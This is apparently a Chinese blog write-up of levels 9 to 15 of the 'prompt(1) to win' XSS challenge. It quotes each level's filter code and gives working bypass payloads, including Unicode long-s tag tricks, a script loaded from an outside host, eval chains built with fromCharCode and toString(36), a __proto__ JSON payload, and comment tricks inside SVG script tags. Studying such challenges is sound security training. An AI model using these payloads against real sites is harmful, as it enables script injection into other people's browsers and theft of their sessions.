文章目录
  1. 1.
  2. 2. Challenges
    1. 2.1. Level-9 unicode绕过
      1. 2.1.1. example
    2. 2.2. Level-10
    3. 2.3. Level-11 DOM内json对象执行限制
    4. 2.4. Level-12 script符号过滤
    5. 2.5. Level-13 input为json对象,String.repalce()绕过
    6. 2.6. Level-14-deprecated
    7. 2.7. Level-15 HTML注释bypass/len限制
      1. 2.7.1. example
      2. 2.7.2. Firefox&MSIE
  3. 3. Reference

还是这个站Prompt(1) to win, 不过是下集, 没想到自己不会这么多, 才会出的下集2333

Challenges

Level-9 unicode绕过

input.replace(/<([a-zA-Z])/g, ‘<_$1'); input="input.toUpperCase();" return="" '‘ + input + ‘‘;

主要是过滤了所有感觉能用的字符, 答案还是比较厉害..
js函数大写也有被过滤, 不过可以编码和外部加载解决.注意, 在linux/unix下文件名区分大小写, 可以申请全大写或者一些奇怪的字符来进行绕过
vector:

1
<ſvg><ſcript href=//ᄒ.ws/XXXX></ſcript>

自己写的变形:

1
<ſvg onload=&#112;&#114;&#111;&#109;&#112;&#116;(1)>

example

目前我能找到的几个latin letter, 更多的需要探索 -> unicode-characters

ß => SS
ı => I
ſ => S

1
document.write('<'+'ß'.toUpperCase()[0]+'cript'+'>');

Level-10

encodeURIComponent(input).replace(/prompt/g, ‘alert’);
input.replace(/‘/g, ‘’);

vector:

1
promp't(1)

这个好迷, 这么后面出了道简单题233

stackoverflow-encode*
Note that encodeURIComponent does not escape the ‘ character

Level-11 DOM内json对象执行限制

input.replace(/[[|\s+*/\<>&^:;=~!%-]/g, ‘’);
var dataString = ‘{“action”:”login”,”message”:”Welcome back, ‘ + input + ‘.”}’;
document.write(data.message)

vector:

1
"(prompt(1))in"

学到的:

  1. document.write(alert(1)) //以前一直没碰到过dom类型的, 现在
  2. 根据console错误类型判断能否xss, 这题语法错误, 但是是Error in execution.所以只要能parse出来就行

Operator合集: MDN-oprators

看到后面我才知道这题正则什么意思, 过滤一切符号类型的operator. 然后从character中考虑就是in, instanceof .etc了

Level-12 script符号过滤

input = encodeURIComponent(input).replace(/‘/g, ‘’);
input = input.replace(/prompt/g, ‘alert’);

和第10题类似, 不过屏蔽了/,=,?,\s, ,, +等能想到的一些符号, 不过没有过滤.这个属性引用, 所以可以进行如下的构造

Vector:(虽然做出来了.不过很长)

1
2
3
4
5
6
7
8
9
10
11
eval(
String.fromCharCode(112)
.concat(String.fromCharCode(114))
.concat(String.fromCharCode(111))
.concat(String.fromCharCode(109))
.concat(String.fromCharCode(112))
.concat(String.fromCharCode(116))
.concat(String.fromCharCode(40))
.concat(1)
.concat(String.fromCharCode(41))
)//需要去掉\s

不过答案还用了toString(),比较灵活~
vector2:

1
2
3
4
5
6
eval(
(1558153217).toString(36) //数字可以通过 parseInt('prompt', 36) 获得
.concat(String.fromCharCode(40))
.concat(1)
.concat(String.fromCharCode(41))
);

也是给我了一个提醒, 想起来以前密码学学的一个toString()和parseInt()的进制转化了.
嗯, github还有个改进版本
vector3:

1
eval((1558153217).toString(36))(1)

eval这个函数感觉像是没来过一样.完全不影响后续输出

vector4(变种):

1
eval(1558153217..toString(36))(1)

关于.的多义性直接戳这个

Level-13 input为json对象,String.repalce()绕过

代码表示的比较清楚..

关键点

  1. __proto__ 利用
  2. String.replace() 内置组$\, $`利用

第二点的话再写个例子好了, 放在了gist上.

vector:

1
2
3
4
{
"source" : "-",
"__proto__" : {"source" : "$`onerror=alert(1)>"}
}

Level-14-deprecated

原本思路是绕过img限制直接进行iframe的data协议xss, 但是uppercase已经无法绕过了..

Level-15 HTML注释bypass/len限制

input = input.replace(/*/g, ‘’);
var segments = input.split(‘#’);

和Level-7类似, 不过被过滤了*,还有一个len15限制.
思路的话还是comment bypass, 依然是通过svg标签的扩展性导致javascript标签可以使用html注释
vector:

1
"><svg><!--#--><script><!--#-->prompt(1)<!--#--></script>

example

1
2
3
4
5
6
7
8
<svg>     #可以尝试把svg去掉, 看看会不会弹框
<script>
<!--
"aaa'
alert(1)
-->

alert(/xss/);
</script>

嗯, 看了答案有几个不一样的.

Firefox&MSIE

自动闭合所需标签, 少了几个字符
vector2:

1
"><svg><!--#--><script><!--#-->alert(1)</

第三个利用了ES6的模板解析这里
(也考虑到了`这个替代, 模板是没想到..)
vector3:

1
"><script>`#${prompt(1)}#`</script>

…hideen level没找到, 就不管了, 这些感觉够用了~

Reference

Challenge:
prompt
Writeup:
github-cure53

文章目录
  1. 1.
  2. 2. Challenges
    1. 2.1. Level-9 unicode绕过
      1. 2.1.1. example
    2. 2.2. Level-10
    3. 2.3. Level-11 DOM内json对象执行限制
    4. 2.4. Level-12 script符号过滤
    5. 2.5. Level-13 input为json对象,String.repalce()绕过
    6. 2.6. Level-14-deprecated
    7. 2.7. Level-15 HTML注释bypass/len限制
      1. 2.7.1. example
      2. 2.7.2. Firefox&MSIE
  3. 3. Reference